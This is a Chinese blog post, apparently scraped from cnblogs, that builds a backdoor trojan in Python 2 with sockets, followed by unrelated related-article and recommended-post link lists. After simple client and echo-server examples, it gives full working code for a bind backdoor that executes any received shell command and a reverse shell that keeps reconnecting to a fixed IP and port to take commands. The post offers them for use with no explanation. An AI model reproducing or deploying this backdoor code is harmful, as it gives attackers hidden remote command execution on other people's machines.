python socket编程制作后门木马(原创)
懒得解释怎么写出来的,直接上代码
Client: 简单连接服务器
- #!/usr/bin/python
- #coding:utf-8
- import socket
- import sys
- socket.setdefaulttimeout(5)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- host = "www.baidu.com"
- port = 80
- remote_ip = socket.gethostbyname( host )
- message = "GET / HTTP/1.1\r\n\r\n"
- s.connect((remote_ip, port))
- s.sendall(message)
- reply = s.recv(4096)
- print reply
Server: 单线程,长久监听服务,长连接,会话先进先出排队原则
- #!/usr/bin/python
- #coding:utf-8
- import socket
- import sys
- HOST = ''
- PORT = 444
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind((HOST, PORT))
- s.listen(10)
- while 1:
- conn, addr = s.accept()
- print "[+] connecting" , addr[0] + ":" , addr[1]
- conn.send("Welcome to the server. Type something like:"
- "COOKIE,GET,POST and hit <ENTRE>\n")
- while 1:
- data = conn.recv(1024)
- print data
- if data == "GET\n":
- data = "OK, wait a moment\n"
- if data == "POST\n":
- data = "I am not a http server\n"
- if data == "COOKIE\n":
- data = "a cookie Biscuits??\n"
- if data:
- conn.sendall(data)
- else:
- break
- conn.close()
- s.close()
Server: 多线程,长久监听服务,长连接,同步处理会话
- #!/usr/bin/python
- #coding:utf-8
- import socket
- import sys
- from thread import *
- HOST = ''
- PORT = 555
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind((HOST, PORT))
- s.listen(10)
- def clientthread(conn):
- conn.send("Welcome to the server. Type something like:"
- "COOKIE,GET,POST and hit <ENTRE>\n")
- while 1:
- data = conn.recv(1024)
- print data
- if data == "GET\n":
- data = "OK, wait a moment\n"
- if data == "POST\n":
- data = "I am not a http server\n"
- if data == "COOKIE\n":
- data = "a cookie Biscuits??\n"
- if data:
- conn.sendall(data)
- else:
- break
- conn.close()
- while 1:
- conn, addr = s.accept()
- print "[+] connecting" , addr[0] + ":" , addr[1]
- start_new_thread(clientthread, (conn,))
- s.close()
BackDoor: 结合命令执行制作后门木马(正向)
- #!/usr/bin/python
- #coding:utf-8
- import socket
- import sys
- import commands
- from thread import *
- HOST = ''
- PORT = 854
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind((HOST, PORT))
- s.listen(10)
- def clientthread(conn):
- conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
- while 1:
- conn.send("Demon_Backdoor# ")
- data = conn.recv(1024)
- if data:
- cmd = data.strip("\n")
- code,res = commands.getstatusoutput(cmd)
- if code == 0 :
- conn.sendall(res+"\n")
- else:
- print "[-]Error: code",code
- data = ""
- else:
- break
- conn.close()
- while 1:
- conn, addr = s.accept()
- print "[+] connecting" , addr[0] + ":" , addr[1]
- start_new_thread(clientthread, (conn,))
- s.close()
BackDoor: 反弹shell(反向)
- #!/usr/bin/python
- #coding:utf-8
- import socket
- import sys
- import commands
- from time import sleep
- from thread import *
- HOST = "192.168.10.24"
- PORT = 444
- def clientthread(s):
- global isConnect
- s.send("Welcome demon's backdoor!".center(50,"*") + "\n")
- while 1:
- s.send("Demon_Backdoor# ")
- data = s.recv(1024)
- if data :
- cmd = data.strip("\n")
- code,res = commands.getstatusoutput(cmd)
- if code == 0 :
- s.sendall(res+"\n")
- else:
- print "[-]Error: code",code
- data = ""
- else:
- break
- while 1:
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((HOST, PORT))
- print "[+] connecting" , HOST + ":", PORT
- clientthread(s)
- #start_new_thread(clientthread, (s,))
- s.close()
- except:
- sleep(0.5)
转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html
python socket编程制作后门木马(原创)的更多相关文章
- Python Socket 编程——聊天室示例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和客户端的代码了解基本的 Python Socket 编程模型.本文再通过一个例子来加强一下对 Socket 编程的 ...
- python/socket编程之粘包
python/socket编程之粘包 粘包 只有TCP有粘包现象,UDP永远不会粘包. 首先需要掌握一个socket收发消息的原理 发送端可以是1k,1k的发送数据而接受端的应用程序可以2k,2k的提 ...
- PYTHON SOCKET编程简介
原文地址: PYTHON SOCKET编程详细介绍 Python 提供了两个基本的 socket 模块. 第一个是 Socket,它提供了标准的 BSD Sockets API. 第二个是 Soc ...
- python socket编程笔记
用python实现一个简单的socket网络聊天通讯 (Linux --py2.7平台与windows--py3.6平台) 人生苦短之我用Python篇(socket编程) python之路 sock ...
- [Python_7] Python Socket 编程
0. 说明 Python Socket 编程 1. TCP 协议 [TCP Server] 通过 netstat -ano 查看端口是否开启 # -*-coding:utf-8-*- "&q ...
- Python Socket 编程示例 Echo Server
简评:我们已经从「Python Socket 编程概览」了解了 socket API 的概述以及客户端和服务器的通信方式,接下来让我们创建第一个客户端和服务器,我们将从一个简单的实现开始,服务器将简单 ...
- Python Socket 编程——聊天室演示样例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和client的代码了解主要的 Python Socket 编程模型.本文再通过一个样例来加强一下对 Socket ...
- python socket编程入门(编写server实例)+send 与sendall的区别与使用方法
python 编写server的步骤: 1. 第一步是创建socket对象.调用socket构造函数.如: socket = socket.socket( family, type ) family参 ...
- 第九章:Python高级编程-Python socket编程
第九章:Python高级编程-Python socket编程 Python3高级核心技术97讲 笔记 9.1 弄懂HTTP.Socket.TCP这几个概念 Socket为我们封装好了协议 9.2 cl ...
随机推荐
- 织梦dedecms列表序号从0到1开始的办法 autoindex,itemindex标签
自增1 arclist 标签下使用 [field:global.autoindex/] 默认从1开始 channel 标签下使用 [field:global.au ...
- 大数据处理的三种框架:Storm,Spark和Samza
许多分布式计算系统都可以实时或接近实时地处理大数据流.下面对三种Apache框架分别进行简单介绍,然后尝试快速.高度概述其异同. Apache Storm 在Storm中,先要设计一个用于实时计算的图 ...
- Excel 2010高级应用-饼图(四)
Excel 2010高级应用-饼图(四) 基本操作如下: 1.新建空白文档,并命名饼图 2.单击"插入",找到饼图样例图 3.选择其中一种饼图图例,单击并在空白文档上生成饼图图框 ...
- Caused by: java.io.FileNotFoundException: class path resource [applicationContext.xml] cannot be ope
1.错误描述 java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.tes ...
- Java和Flex整合报错(四)
1.错误描述 usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ] [ -nonaming ] { -help ...
- 游戏中实现粒子碰撞,纯java
package com.totoo.TouhouMassLight;import android.content.Context;import android.graphics.Bitmap;impo ...
- 初学 Java Web 开发,从 Servlet 开发
1. 基本要求:Java 编程基础 有良好的 Java 语言编程基础,这是必须的,在讨论 Web 开发技术时提了一个 Java 编程基础的问题会被鄙视的. 2. 环境准备 (Eclipse + Tom ...
- Graham凸包算法简介
凸包真是一个神奇的算法.. 概念 凸包,我理解为凸多边形 叉积 对于向量AB和向量BC,记向量AB*向量BC = AB * BC * sin ∠ABC,而叉积的绝对值其实就是S△ABC/2 对于平面上 ...
- html学习第一弹の常用标签的归类
HTML初步学习: 行内元素:只占据他对应标签的边框所包含的空间,默认横向排布. 块级元素:块级元素占据其父元素(容器)的整个空间,因此创建了一个块,通常浏览器会在块级元素前后另起一行,默认竖向排布. ...
- Sqoop工具
简介 SQOOP是用于对数据进行导入导出的. (1)把MySQL.Oracle等数据库中的数据导入到HDFS.Hive.HBase中 (2)把HDFS.Hive.HBase中的数据导出到MySQL.O ...